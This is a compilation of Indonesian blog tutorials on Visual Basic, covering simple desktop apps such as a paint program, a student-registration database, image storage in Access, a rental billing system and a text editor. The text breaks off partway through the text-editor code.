Aplikasi tebak suara VB. 6.0

Pernah lihat acara kuis di TV yang isinya tebak suara kan? Nah kali ini kita gak akan membahas bagaimana membuat acara tersebut, karena akan memakan waktu yang sangat panjang. Yang akan saya bahas disini adalah membuat aplikasi sederhana untuk bermain tebak suara dengan menggunakan Visual BASIC. Buat yang bukan jurusan IT/Ilkom, silahkan baca juga hingga selesai, karena ada kejutan menarik khusus untuk Anda di akhir tulisan.
Langkah pertama yang kita lakukan adalah tentunya dengan menginstall program Visual BASIC di komputer kita. Kalau sudah terinstall, silahkan buat sebuah project baru dengan sebuah form Enterprise Edition (pilihan form yang komponennya paling lengkap) terlebih dahulu.
Buatlah form dengan tampilan kira2 mirip seperti ini :

Tampilan Form

Gak susah kan buatnya? Kalau yang baru pertama pakai VB silahkan klik disini untuk pengenalan dasarnya.
Untuk melihat programnya setelah selesai dibuat, Anda dapat langsung download program lengkapnya disini : Aplikasi Tebak Suara dengan Visual Basic.

Visualisasi Traffic Light dengan VB 6.0

Akhirnya saya membulatkan tekad untuk mempromosikan beberapa program yang pernah saya develop baik untuk keperluan usaha maupun tugas akhir/skripsi. Untuk kesempatan pertama kali ini saya akan menjelaskan tentang Program Visualisasi Lampu Lalu Lintas. Program ini merupakan program pertama yang saya buat dan dikomersilkan alias diberi label harga , dan program ini saya buat ketika saya masih dibangku kuliah. Berikut ini sedikit ulasannya, jika ada yang berminat ingin dibuatkan program juga silahkan hubungi saya ya. Semoga berguna.
Judul Program : Visualisasi Lampu Lalu Lintas versi 1.0
Deskripsi Program : Program Visualisasi Lampu Lalu Lintas dibuat untuk memberikan gambaran sejelas-jelasnya kepada user tentang aturan dan urutan lampu lalu lintas di jalan raya.
Durasi Visualisasi Lampu : lampu merah dan lampu hijau pada setiap jalur memiliki durasi selama 13 detik, sedangkan lampu kuning berdurasi 2 detik.
Bahasa pemrograman: Visual Basic 6.0
Tampilan Program :
Menu Utama :

Penekanan Tombol Masuk akan menampilkan kotak login sebagai berikut :

Ketika tombol masuk ditekan maka akan menampilkan halaman utama visualisasi berikut:

Ketika tombol Start ditekan, maka proses visualisasi akan dimulai dengan tampilan berikut:

Demikianlah sedikit review tentang Program Visualisasi Lampu Lalu Lintas dengan Visual Basic 6. Jika ada yang berminat membuat program serupa atau pertanyaan seputar program tersebut, silahkan berikan komentar dibawah ini ya.
Untuk mendapatkan File Setup dari program ini secara GRATIS, silahkan Daftar di Ziddu terlebih dahulu dengan melakukan Klik Disini, kemudian Klik Disini.
Untuk mendapatkan Listing Program ini secara GRATIS, silahkan Daftar di Ziddu terlebih dahulu dengan melakukan Klik Disini, kemudian Klik Disini.
Semoga Berguna… Jangan lupa follow twitternya ya. ^_^ …
Untuk artikel menarik lainnya, dapat juga Anda baca di blog saya : http://bangdanu.wordpress.com

Membuat Program Paint sederhana dengan VB 6

Program yang dibahas kali ini terinspirasi dari program bawaan Microsoft Windows yaitu Ms. Paint. Kali ini kita akan sedikit mengupas cara membuat program paint tersebut dalam versi yang lebih sederhana dengan menggunakan Visual Basic. Program ini dapat Anda download dan kostumisasi sesuai keinginan Anda secara GRATIS.
Langkah pertama adalah membuat sebuah project dengan sebuah form menggunakan objek label, button, picture box dan frame dengan desain seperti ini:

Langkah selanjutnya adalah melakukan pengaturan properties sehingga tampilan didapat seperti pada gambar diatas.
Langkah terakhir adalah memberikan listing program untuk form tersebut sebagai berikut:

Dim paintnow As Boolean
Private Sub cmdhapus_Click()
cmdhapus.Enabled = False
cmdpensil.Enabled = True
End Sub
Private Sub cmdhpsemua_Click()
Picture1.Cls
End Sub
Private Sub cmdpensil_Click()
cmdpensil.Enabled = False
cmdhapus.Enabled = True
End Sub
Private Sub Command1_Click()
Unload Me
End Sub
Private Sub Form_Load()
Dim i As Integer
For i = 0 To 14
lblwarna(i).BackColor = QBColor(i)
Next i
Picture1.ForeColor = QBColor(0)
Picture1.BackColor = QBColor(15)
End Sub
Private Sub lblwarna_Click(Index As Integer)
Picture1.ForeColor = lblwarna(Index).BackColor
End Sub
Private Sub Picture1_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = vbLeftButton Then
paintnow = True
Picture1.CurrentX = x
Picture1.CurrentY = y
End If
End Sub
Private Sub Picture1_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
If paintnow Then
If cmdpensil.Enabled = False Then
Picture1.Line -(x, y), Picture1.ForeColor
Picture1.MousePointer = 99
End If
If cmdhapus.Enabled = False Then
Picture1.Line -(x, y), RGB(255, 255, 255), B
Picture1.MousePointer = 12
End If
End If
End Sub
Private Sub Picture1_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = vbLeftButton Then
paintnow = False
End If
End Sub

Kemudian simpan dan jalankan program tersebut untuk melihat hasilnya.
Untuk mempermudah Anda mencoba program tersebut, berikut ini adalah Project lengkapnya yang sudah saya upload dalam format rar:
Download Program Selengkapnya
Ditunggu komentarnya ya. Semoga berguna. :)

Memainkan file MIDI di Visual Basic

Penggunaan file MIDI di aplikasi dapat difungsikan sebagai sound effect (mungkin pada saat menutup aplikasi, ada notifikasi dan semacamnya). File MIDI sendiri berukuran cukup kecil biasanya dalam kisaran kilobyte, sehingga sangatlah sesuai sebagai pelengkap dan membuat pengguna nyaman dengan aplikasi anda.
Untuk memainkan file MIDI di Visual Basic dapat anda gunakan bantuan dari DirectX, yang bernama AudioVideoPlayback.
Pertama lakukan imports seperti dibawah ini:

Imports Microsoft.DirectX.AudioVideoPlayback

Potongan kode pada event click btnPlay:

Private Sub btnPlay_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnPlay.Click

    If btnPlay.Text = "Play" Then

        btnPlay.Text = "Stop"

        fileAudio = New Audio(txtLokasiFile.Text)

        fileAudio.Play()

        fileStartTime = Now

    Else

        btnPlay.Text = "Play"

        fileAudio.Stop()

        fileAudio.Dispose()

        fileAudio = Nothing

    End If

End Sub

Sebenarnya fungsi dari AudioVideoPlayback tidak hanya terbatas pada file MIDI, jadi dapat anda gunakan untuk beberapa tipe Audio lainnya dan tentu saja beberapa jenis Video juga bisa dimainkan.

Mengubah gambar berwarna menjadi Grayscale di Visual Basic

Artikel kali ini mungkin akan berguna buat yang mengambil materi tentang pengolahan citra digital, yaitu mengubah gambar berwarna ke grayscale. Mengubah gambar berwarna menjadi grayscale ddengan aplikasi editor gambar (Photoshop, GIMP) tentu mudah tapi yang akan diperlihatkan disini adalah bagaimana caranya mengubah gambar berwarna menjadi grayscale.
Potongan kode dibawah akan membuat objek dari Bitmap dan diinisialisasikan dari gambar yang telah diinputkan. Inisialisasi ini akan menyesuaikan ukuran Bitmap dan warnanya.

Selanjutnya kode ini akan melakukan perulangan terhadap setiap pixel, menghitung rata – rata dari komponen Red, Green dan Blue kemudian menggunakan hasilnya untuk mengisi nilai baru pixel tersebut. Setelah kode ini selesai menghitung seluruh pixel yang ada, maka kode ini akan mengubah gambar pada properti Image di Picture Box ke gambar yang telah diubah tadi.

 

Private Sub btnUbahGrayscale_Click(ByVal sender As System.Object, _

    ByVal e As System.EventArgs) Handles btnGo.Click

    Dim bm As New Bitmap(picGambar.Image)

    Dim X As Integer

    Dim Y As Integer

    Dim pixelBaru As Integer

    For X = 0 To bm.Width - 1

        For Y = 0 To bm.Height - 1

            pixelBaru = (CInt(bm.GetPixel(X, Y).R) + _

                   bm.GetPixel(X, Y).G + _

                   bm.GetPixel(X, Y).B) \ 3

            bm.SetPixel(X, Y, Color.FromArgb(pixelBaru, pixelBaru, pixelBaru))

        Next Y

    Next X

    picGambar.Image = bm

End Sub

Mengetahui alamat IP dari komputer anda menggunakan Windows API di Visual Basic 6

Pada proyek lama dahulu yang bersifat program client server, dibutuhkan fungsi informasi yang melaporkan PC mana saja yang terdapat program yang sedang digunakan. Setelah mencari beberapa referensi, akhirnya saya bisa membuatnya walau fungsinya juga cukup sederhana.
Fungsi untuk mendapatkan alamat IP yang saya berikan disini menggunakan Windows API. Silahkan kode berikut diletakkan pada sebuah form.

Deklarasi konstanta untuk Windows API

Public Const MAX_WSADescription = 256

Public Const MAX_WSASYSStatus = 128

Public Const ERROR_SUCCESS       As Long = 0

Public Const WS_VERSION_REQD     As Long = &H101

Public Const WS_VERSION_MAJOR    As Long = WS_VERSION_REQD \ &H100 And &HFF&

Public Const WS_VERSION_MINOR    As Long = WS_VERSION_REQD And &HFF&

Public Const MIN_SOCKETS_REQD    As Long = 1

Public Const SOCKET_ERROR        As Long = -1

Deklarasi Tipe Data baru

Public Type HOSTENT

hName      As Long

hAliases   As Long

hAddrType  As Integer

hLen       As Integer

hAddrList  As Long

End Type

Public Type WSADATA   wVersion      As Integer

wHighVersion  As Integer

szDescription(0 To MAX_WSADescription)   As Byte

szSystemStatus(0 To MAX_WSASYSStatus)    As Byte

wMaxSockets   As Integer

wMaxUDPDG     As Integer

dwVendorInfo  As Long

End Type

 

Deklarasi fungsi API

Public Declare Function WSAGetLastError Lib "WSOCK32.DLL" () As Long

Public Declare Function WSAStartup Lib "WSOCK32.DLL" _

(ByVal wVersionRequired As Long, lpWSADATA As WSADATA) As Long

Public Declare Function WSACleanup Lib "WSOCK32.DLL" () As Long

Public Declare Function gethostname Lib "WSOCK32.DLL" _

(ByVal szHost As String, ByVal dwHostLen As Long) As Long

Public Declare Function gethostbyname Lib "WSOCK32.DLL" _

(ByVal szHost As String) As Long

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _

(hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)

 

Fungsi DapatkanIP

Public Function DapatkanIP() As String

Dim sHostName    As String * 256

Dim lpHost    As Long   Dim HOST      As HOSTENT

Dim dwIPAddr  As Long   Dim tmpIPAddr() As Byte

Dim i         As Integer

Dim sIPAddr  As String

If Not SocketsInitialize() Then

DapatkanIP = ""

Exit Function

End If

If gethostname(sHostName, 256) = SOCKET_ERROR Then

GetIPAddress = ""

MsgBox "Windows Sockets error " & Str$(WSAGetLastError()) & _

" Gagal mendapatkan nama host."

SocketsCleanup

Exit Function

End If

sHostName = Trim$(sHostName)

lpHost = gethostbyname(sHostName)

 If lpHost = 0 Then

DapatkanIP = ""

MsgBox "Windows Sockets tidak merespon. " & _

"gagal mendapatkan nama host."

SocketsCleanup

Exit Function

End If

 CopyMemory HOST, lpHost, Len(HOST)

CopyMemory dwIPAddr, HOST.hAddrList, 4

ReDim tmpIPAddr(1 To HOST.hLen)

CopyMemory tmpIPAddr(1), dwIPAddr, HOST.hLen

For i = 1 To HOST.hLen

sIPAddr = sIPAddr & tmpIPAddr(i) & "."

Next

 DapatkanIP = Mid$(sIPAddr, 1, Len(sIPAddr) - 1)

 SocketsCleanup

End Function

 

Fungsi dan prosedur pendukung lainnya

Public Function HiByte(ByVal wParam As Integer)

HiByte = wParam \ &H100 And &HFF&

End Function

Public Function LoByte(ByVal wParam As Integer)

LoByte = wParam And &HFF&

End Function

Public Sub SocketsCleanup()

If WSACleanup() <> ERROR_SUCCESS Then

MsgBox "Socket error pada pembersihan."

End If

End Sub

Public Function SocketsInitialize() As Boolean

Dim WSAD As WSADATA

Dim sLoByte As String

Dim sHiByte As String

 If WSAStartup(WS_VERSION_REQD, WSAD) <> ERROR_SUCCESS Then

MsgBox "Windows socket tidak merespon."

SocketsInitialize = False

Exit Function

End If

 If WSAD.wMaxSockets < MIN_SOCKETS_REQD Then

MsgBox "Aplikasi ini membutuhkan minimal " & _

CStr(MIN_SOCKETS_REQD) & " socket."

 SocketsInitialize = False

Exit Function

End If

 

Untuk menggunakan fungsi ini, anda tinggal memanggil fungsi DapatkanIP().
Contoh penggunaan pada MessageBox

MsgBox "IP dari komputer ini adalah" & DapatkanIP()

 

Semoga informasi ini membantu anda.

Menampilkan file PDF pada Windows Form di Visual Basic

Penggunaan file PDF untuk dokumen sudah jadi standar sekarang. Apabila anda ingin menampilkan file PDF tersebut di form Visual Basic, terdapat beberapa cara yang dapat dilakukan.
Disini saya akan menggunakan cara yang paling mudah, yaitu penggunaan komponen WebBrowser dari ToolBox anda dan letakkan pada form project anda. Jangan lupa buat sebuah button dan isi dengan kode dibawah ini, untuk dialog membuka file PDF digunakan bantuan dari OpenFileDialog.

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim Response As DialogResult

OpenFileDialog1.FileName = ""

OpenFileDialog1.Filter = "PDF Files(*.pdf)|*.pdf|All Files(*.*)|*.*"

Response = OpenFileDialog1.ShowDialog()

If Response <> Windows.Forms.DialogResult.Cancel Then

    If OpenFileDialog1.FileName <> "" Then

        WebBrowser1.Navigate(OpenFileDialog1.FileName)

    End If

End If

End Sub

Membuat aplikasi pendaftaran siswa baru

Kali ini penulis mencoba membuat program pendaftaran siswa baru untuk sekolah karena ada salah satu vbthok mania yang mungkin ingin membuat program tersebut tapi masih bingung. Program ini berdasarkan pengamatan penulis jadi mungkin masih ada yang kurang, untuk itu vbthok mania bisa kembangkan sendiri sesuai ide dari vbthok mania.
ada 7 form yang dibuat dari program ini yaitu :
1. form menu
2. form sekolah
3. form pendaftaran siswa baru
4. form siswa baru
5. form laporan data calon siswa baru
6. form laporan data siswa baru yang diterima
7. form laporan daftar siswa baru
berikut tampilan untuk programnya..




Dan berikut untuk script kodenya

'untuk form menu
Private Sub Mnbaru_Click()
Siswa.Show
End Sub

Private Sub mncadangan_Click()
lcadangan.Show
End Sub

Private Sub mncalon_Click()
Calon.Show
End Sub

Private Sub mncbaru_Click()
lcalon.Show
End Sub

Private Sub mnkel_Click()
Unload Me
End Sub

Private Sub mnsek_Click()
Sekolah.Show
End Sub

Private Sub mnsiswa_Click()
datas.Show
End Sub

Private Sub mnterima_Click()
lditerima.Show
End Sub

'untuk form sekolah
Public dbrayon As Database
Public rsrayon As Recordset
Private Sub hapus_Click()
rsrayon.Delete
Call bersih
End Sub
Private Sub keluar_Click()
Unload Me
End Sub

Private Sub koreksi_Click()
rsrayon.Edit
rsrayon(1) = rayo.Text
rsrayon(0) = nama.Text
rsrayon.Update
Call bersih
End Sub

Private Sub simpan_Click()
rsrayon.AddNew
rsrayon(1) = rayo.Text
rsrayon(0) = nama.Text
rsrayon.Update
Call bersih
End Sub
Private Sub bersih()
nama.Text = ""
rayo.Text = ""
nama.SetFocus
End Sub
Private Sub Form_Load()
Set dbrayon = OpenDatabase(App.Path & "\Siswa baru.mdb")
Set rsrayon = dbrayon.OpenRecordset("Rayon")
rsrayon.Index = "cari"
nama = ""
End Sub
Private Sub nama_Change()

rsrayon.Seek "=", nama.Text
If rsrayon.NoMatch Then
simpan.Enabled = True
Hapus.Enabled = False
Koreksi.Enabled = False
ElseIf Not rsrayon.NoMatch Then
rayo.Text = rsrayon(1)
simpan.Enabled = False
Hapus.Enabled = True
Koreksi.Enabled = True
End If
End Sub

'form daftar siswa baru
Public dbcalon As Database
Public rscalon As Recordset
Public dbsiswa As Database
Public rssiswa As Recordset

Private Sub daftar_Click()
rscalon.Seek "=", daftar.Text
If Not rscalon.NoMatch Then
nis.Text = ""
nama.Text = rscalon(1)
alamat.Text = rscalon(2)
Kelamin.Text = rscalon(3)
tempat.Text = rscalon(4)
tanggal.Value = rscalon(5)
daftar.Enabled = False
nama.Enabled = False
alamat.Enabled = False
Kelamin.Enabled = False
tempat.Enabled = False
tanggal.Enabled = False

Else
nis.Text = ""
nama.Text = ""
alamat.Text = ""
Kelamin.Text = ""
tempat.Text = ""
'tanggal.Value = ""
End If
End Sub

Private Sub koreksi_Click()
rssiswa.Edit
rssiswa(0) = nis.Text
rssiswa(1) = nama.Text
rssiswa(2) = alamat.Text
rssiswa(3) = Kelamin.Text
rssiswa(4) = tempat.Text
rssiswa(5) = tanggal.Value
rssiswa(6) = wali.Text
rssiswa.Update
Call bersih
End Sub
Private Sub hapus_Click()
rssiswa.Delete
Call bersih
End Sub
Private Sub keluar_Click()
Unload Me
End Sub

Private Sub nis_Change()
rssiswa.Seek "=", nis.Text
If rssiswa.NoMatch Then
wali = ""
simpan.Enabled = True
Hapus.Enabled = False
Koreksi.Enabled = False
ElseIf Not rssiswa.NoMatch Then
nama.Text = rssiswa(1)
alamat.Text = rssiswa(2)
Kelamin.Text = rssiswa(3)
tempat.Text = rssiswa(4)
tanggal.Value = rssiswa(5)
wali.Text = rssiswa(6)
nama.Enabled = True
Kelamin.Enabled = True
alamat.Enabled = True
tempat.Enabled = True
tanggal.Enabled = True
simpan.Enabled = False
Hapus.Enabled = True
Koreksi.Enabled = True
End If
End Sub

Private Sub simpan_Click()
rssiswa.AddNew
rssiswa(0) = nis.Text
rssiswa(1) = nama.Text
rssiswa(2) = alamat.Text
rssiswa(3) = Kelamin.Text
rssiswa(4) = tempat.Text
rssiswa(5) = tanggal.Value
rssiswa(6) = wali.Text
rssiswa.Update
Call bersih
End Sub
Private Sub bersih()
daftar.Text = ""
nis.Text = ""
nama.Text = ""
alamat.Text = ""
Kelamin.Text = ""
tempat.Text = ""
wali.Text = ""
daftar.Enabled = True
daftar.SetFocus
End Sub
Private Sub Form_Load()
Set dbcalon = OpenDatabase(App.Path & "\Siswa baru.mdb")
Set rscalon = dbcalon.OpenRecordset("calon")
rscalon.Index = "cari1"
Set dbsiswa = OpenDatabase(App.Path & "\Siswa baru.mdb")
Set rssiswa = dbsiswa.OpenRecordset("siswa")
rssiswa.Index = "cari"
rscalon.MoveFirst
While Not rscalon.EOF
daftar.AddItem (rscalon(0))
rscalon.MoveNext
Wend
End Sub

'form laporan calon siswa baru
Public dbcalon As Database
Public rscalon As Recordset
Public dblaporan As Database
Public rslaporan As Recordset

Private Sub HapusTabel()
If rslaporan.RecordCount <> 0 Then
Do While Not rslaporan.EOF
rslaporan.Delete
rslaporan.MoveNext
Loop
End If
End Sub


Private Sub cmdBatal_Click()
Unload Me
End Sub

Private Sub cmdProses_Click()
Set dblaporan = OpenDatabase(App.Path & "\laporan.mdb")
Set rslaporan = dblaporan.OpenRecordset("lap1")
HapusTabel
rscalon.MoveFirst
Do While Not rscalon.EOF
rslaporan.AddNew
rslaporan(0) = Tahun
rslaporan(1) = rscalon(0)
rslaporan(2) = rscalon(1)
rslaporan(3) = rscalon(5)
rslaporan(4) = rscalon(3)
rslaporan(5) = rscalon(6)
rslaporan(6) = rscalon(7)
rslaporan.Update
rscalon.MoveNext
Loop

dblaporan.Close
lap.ReportFileName = App.Path & "\lap1.rpt"
lap.DataFiles(0) = App.Path & "\laporan.mdb"
lap.WindowState = crptMaximized
lap.WindowTitle = "Laporan Daftar Calon Siswa"
lap.Action = 28
End Sub


Private Sub Command2_Click()
Unload Me
End Sub

Private Sub Form_Load()
Set dbcalon = OpenDatabase(App.Path & "\siswa baru.mdb")
Set rscalon = dbcalon.OpenRecordset("calon")
rscalon.Index = "cari1"

End Sub

'form calon siswa baru yang diterima
Public dbcalon As Database
Public rscalon As Recordset
Public dblaporan As Database
Public rslaporan As Recordset
Public dbrayon As Database
Public rsrayon As Recordset

Private Sub HapusTabel()
If rslaporan.RecordCount <> 0 Then
Do While Not rslaporan.EOF
rslaporan.Delete
rslaporan.MoveNext
Loop
End If
End Sub
Private Sub cmdBatal_Click()
Unload Me
End Sub

Private Sub cmdProses_Click()
Set dblaporan = OpenDatabase(App.Path & "\laporan.mdb")
Set rslaporan = dblaporan.OpenRecordset("lap2")
HapusTabel
rscalon.MoveFirst
Do While Not rscalon.EOF
If (rscalon(8) = "C" And rscalon(7) >= 33) Or (rscalon(8) <> "C" And rscalon(7) >= 43) Then
rslaporan.AddNew
rslaporan(0) = Tahun
rslaporan(1) = rscalon(0)
rslaporan(2) = rscalon(1)
rslaporan(3) = rscalon(3)
rslaporan(4) = rscalon(7)
rslaporan.Update
End If
rscalon.MoveNext
Loop

dblaporan.Close
lap.ReportFileName = App.Path & "\lap2.rpt"
lap.DataFiles(0) = App.Path & "\laporan.mdb"
lap.WindowState = crptMaximized
lap.WindowTitle = "Laporan Daftar Calon Siswa Yang Diterima"
lap.Action = 28
End Sub


Private Sub Command2_Click()
Unload Me
End Sub

Private Sub Form_Load()
Set dbcalon = OpenDatabase(App.Path & "\siswa baru.mdb")
Set rscalon = dbcalon.OpenRecordset("calon")
Set dbrayon = OpenDatabase(App.Path & "\siswa baru.mdb")
Set rsrayon = dbcalon.OpenRecordset("rayon")
rscalon.Index = "cari1"
End Sub


'form laporan siswa baru
Public dbsiswa As Database
Public rssiswa As Recordset
Public dblaporan As Database
Public rslaporan As Recordset

Private Sub HapusTabel()
If rslaporan.RecordCount <> 0 Then
Do While Not rslaporan.EOF
rslaporan.Delete
rslaporan.MoveNext
Loop
End If
End Sub


Private Sub cmdBatal_Click()
Unload Me
End Sub

Private Sub cmdProses_Click()
Set dblaporan = OpenDatabase(App.Path & "\laporan.mdb")
Set rslaporan = dblaporan.OpenRecordset("lap3")
HapusTabel
rssiswa.MoveFirst
Do While Not rssiswa.EOF
rslaporan.AddNew
rslaporan(0) = Tahun
rslaporan(1) = rssiswa(0)
rslaporan(2) = rssiswa(1)
rslaporan(3) = rssiswa(4)
rslaporan(4) = rssiswa(5)
rslaporan(5) = rssiswa(3)
rslaporan(6) = rssiswa(2)
rslaporan(7) = rssiswa(6)
rslaporan.Update
rssiswa.MoveNext
Loop

dblaporan.Close
lap.ReportFileName = App.Path & "\lap4.rpt"
lap.DataFiles(0) = App.Path & "\laporan.mdb"
lap.WindowState = crptMaximized
lap.WindowTitle = "Laporan Daftar siswa Siswa"
lap.Action = 28
End Sub


Private Sub Command2_Click()
Unload Me
End Sub

Private Sub Form_Load()
Set dbsiswa = OpenDatabase(App.Path & "\siswa baru.mdb")
Set rssiswa = dbsiswa.OpenRecordset("siswa")
'rssiswa.Index = "cari1"
End Sub


Untuk format laporan penulis menggunakan cristal report jadi silakan vbthok mania menginstall dulu program cristal report.Mohon maaf jika disini saya tidak menyediakan program cristal reportnya karena takut dituntut karena menyebarkan tanpa persetujuan..hehehe...
Untuk desain silakan dikembangakan sendiri karena disini penulis hanya membantu semoga vbthok mania jadi lebih kreatif. berikut source code lengkapnya yang bisa anda download disini
Terimakasi.

Menyimpan gambar kedalam database

Untuk melakukan persiapan awal, kita buat suatu database. (disini menggunakan Ms.Access sebagai bahan contoh):

Persiapan Awal:
Nama file : dbaImage.mdb
Nama Table : Pegawai
Nama field Type Size
-------------------------
NRP Text 7
Photo OleObject

Setelah selesai melakukan persiapan awal kita buat Project Baru dan tambahakan Referency ADODB ke project kita. Dengan cara memilih menu Project » References » Microsoft ActiveX Data Object 2.1 Library (atau ADODB dengan versi yang lebih tinggi).

Selanjutnya kita buat syntax untuk meload Database tersebut
Pada Global Declaration kita tambahkan sebuah variable:

Option Explicit
Dim DB As New ADODB.Connection

'*// Pada form_load tambahkan syntax untuk meload databasenya

Private Sub Form_Load()
DB.Open "Provider=Microsoft.Jet.OLEDB.4.0;User ID=Admin;" & _
"Data Source=C:\dbaImage.mdb"
End Sub

'*// Selanjutnya kita buat fungsi untuk mengkonversi gambar kedalam _
bentuk data.

Function ConvImage(NamaFile As String, Byref ErrRet As Long) As Byte()
On Error GoTo Salah
Dim UkuranFile As Long
Dim imgData() As Byte
'*// mendapatkan besar file yang akan di load dengan fungsi FileLen
UkuranFile = FileLen(NamaFile)

'*// Periksa Besar File yang di load
If UkuranFile > 0 Then
'*// Lakukan ReDim variable array sesuai dengan ukuran file yang _
diload
ReDim imgData(UkuranFile) As Byte

'*// Nah disini kita memanipulasi gambar untuk dimasukan ke _
database. Sebelumnya kita load gambar tsb dari file, _
kemudian masukan Byte demi Byte ke variable array dengan _
metode GET

Open NamaFile For Binary As #1
Get #1, , imgData
Close #1
'*// Setelah berhasil mendapatkan data tsb, kita lakukan _
pemindahan data ke fungsi ConvImage
ConvImage = imgData

'*// Kemudian beri tanda dgn nilai 0, bahwa tidak ada Error
ErrRet = 0
Else
'*// Beri tanda, bahwa ada Error
ErrRet = 1
End If
Exit Function
Salah:
'*// Beri tanda, bahwa ada Error
ErrRet = Err.Number
End Function


'*// Selanjutnya Buat Fungsi untuk menampilkan gambar

Function TampilImage(imgData() As Byte, Byref ErrRet As Long) _
As Picture
On Error GoTo Salah
If UBound(imgData) Then '*// Cek besar data > 0
Dim hFile As String
'*// Periksa apakah file img.tmp ada pada directory C:
hFile = Dir("C:\img.tmp", vbNormal)
'*// Jika ada, kita hapus terlebih dahulu dengan fungsi Kill
If hFile <> "" Then Kill "C:\img.tmp"

'*// Selanjutnya kita buat file penampung gambar dengan data _
yang diterima dari variable imgData
Open "C:\img.tmp" For Binary As #1
Put #1, , imgData
Close #1
'*// Setelah file dibuat, kita coba untuk memindahkannya kedalam _
fungsi
Set TampilImage = LoadPicture("C:\img.tmp")
'*// Beri tanda bahwa file berhasil di load
ErrRet = 0
Else
'*// Beri tanda, bahwa ada Error
ErrRet = 1
End If
Exit Function
Salah:
'*// Beri tanda, bahwa ada Error
ErrRet = Err.Number
End Function


'*// Setelah dua fungsi diatas dibuat, kita coba dengan menyimpan _
sebuah data kedalam database.

Private Sub Command1_Click()
Dim ErrRet As Long, imgData() As Byte
Dim Rc As New ADODB.Recordset

'*// Melakukan pengisian variable imgData dengan menggunakan fungsi _
ConvImage dengan parameter yang dikirim. _
Jangan lupa rubah nama file gambar yang akan di load
imgData = ConvImage("C:\vbwarik\lunatic.bmp", ErrRet)

'*// Dikarenakan disini kita menggunakan Type OleObject maka metode _
penyimpanan data tidak menggunakan Query melainkan langsung _
memanggil nama table nya.

Rc.Open "pegawai", DB, 3, 3
If ErrRet = 0 Then
'*// Buat data baru dengan menggunakan perintah AddNew
Rc.AddNew
'*// Isi pada field
Rc.Fields("NRP") = "001"
Rc.Fields("Photo").AppendChunk imgData()
'*// Simpan Data
Rc.Update
End If
Rc.Close
End Sub

'*// Setelah melakukan proses penyimpanan data, kita coba untuk _
menampilkannya.

Private Sub Command3_Click()
Dim ErrRet As Long, imgData As StdPicture
Dim Rc As New ADODB.Recordset

'*// Kita panggil data yang kita simpan tadi dengan menggunakan Query _
dengan NRP = 001
Rc.Open "Select * from Pegawai Where NRP='001'", DB, 3, 3

If Not Rc.EOF Then
Set imgData = TampilImage(Rc("Photo").GetChunk( _
Rc("Photo").ActualSize), ErrRet)
If ErrRet = 0 Then
'*// Kita load gambar dari file ke Object Image1
Set Image1.Picture = imgData
End If
End If
End Sub

Oke segitu aja scriptnya silakan kalian coba...

Billing Rental Play Station (PS) Dengan Visual Basic 6

Rental Play Station (PS), kebanyakan masih menggunakan timer bawaan dari layar Televisi yang dipakai. Sebenarnya menggunakan timer TV tersebut bisa saja digunakan untuk timer, namun keterbatasannya adalah, kita tidak bisa mengetahui biaya yang sudah ada dan tidak ada log pembukuannya. Berbeda dengan billing yang berupa software di PC, kita bisa mendapatkan nilai lebih. Misalnya, bisa dilakukan pembukuan secara otomatis, untuk mendapatkan analisa pendapatan rental. Kemudian, keuntungan lain, bisa mengetahui unit yang selalu dipakai dan unit yang jarang dipakai, ataupun yang lainnya. Pada kesempatan kali ini, akan disampaikan sedikit pembuatan sebuah billing rental Play Station (PS) sebanyak 4 unit dengan mengontrol switch ON/OFF pada sumber listriknya. Pada sistem ini, billing menghitung biaya dan durasi yang dipakai user. Kemudian untuk mengaktifkan dan menghentikan PS, digunakan metode  On/Off power AC dari unit PS menggunakan relay yang dikendalikan oleh MCU/mikrokontroller. Cara kerja billing adalah, saat billing di mulai, maka software akan mengirim perintah ke MCU untuk menyalakan relay sesuai dengan nomer billing yang diaktifkan. Kemudian MCU akan mengaktifkan relay sehingga aliran listrik ke unit yang dimaksud akan mengalir. PS dapat digunakan setelah billing aktif. Demikian juga untuk unit yang lain, dapat diaktifkan dan dimatikan dengan melalui software billing di PC. Pada software, akan tercatat waktu mulai unit dan menampilkan biaya tagihan. Harga sewa unit juga dapat diatur melalui setting harga yang disediakan, dan dapat disesuaikan dengan mudah. Selain itu, semua unit dapat dimatikan dan dinyalakan secara bersamaan melalui sebuah tombol. Demikian, semoga bermanfaat. Download Source Code.

Cara Bikin Log in dengan VB 6.0

Buat para pemula Programer pasti pada ingin tahu bagaimana sih bikin Form Log In dengan VB 6.0

ini Tutorialnya:

Contoh Form: 

Source Code:

Download Source Code Login

Klo Pengen Download contoh project menu Login Klik

Selamat mencoba...

pasti berhasil....

Membuat program text editor menggunakan VB

Mungkin dari kalian ada yang ingin membuat program text editor sendiri, yah smacam program notepad milik windows gtu deeh...Nah kali ini penulis mencoba membuat program text editor sederhana.
Oke berikut tampilan dari program text editornya
tambahkan common dialog control pada formnya
Dan berikut script kodenya

Dim saved As Boolean

Private Sub bkcolor_Click()
On Error Resume Next
cd.ShowColor
Text1.BackColor = cd.Color
End Sub

Private Sub close_Click()
Dim retval As VbMsgBoxResult
If saved = False Then
retval = MsgBox("Do you want to save your file?", vbQuestion Or vbYesNoCancel, "Save file?")
If retval = vbYes Then save_Click
If retval = vbCancel Then Exit Sub
End If
Unload Me
End Sub

Private Sub copy_Click()
Clipboard.Clear
Clipboard.SetText Text1.Text
End Sub

Private Sub cut_Click()
Clipboard.Clear
Clipboard.SetText Text1.Text
Text1.Text = ""
End Sub

Private Sub font_Click()
On Error Resume Next
With cd
.Flags = cdlCFBoth Or cdlCFEffects
.DialogTitle = "Choose a font"
.ShowFont
End With

With Text1
.SelFontName = cd.FontName
.SelFontSize = cd.FontSize
.SelBold = cd.FontBold
.SelItalic = cd.FontItalic
.SelColor = cd.Color
.SelUnderline = cd.FontUnderline
.SelStrikeThru = cd.FontStrikethru
End With

End Sub

Private Sub Form_Load()
Dim argz As String
argz = Command
If argz <> "" Then
openfile (argz)
End If

saved = True
End Sub

Private Sub Form_Resize()

If Me.ScaleWidth > 250 And Me.ScaleHeight > 300 Then
Text1.Width = Me.ScaleWidth - 250
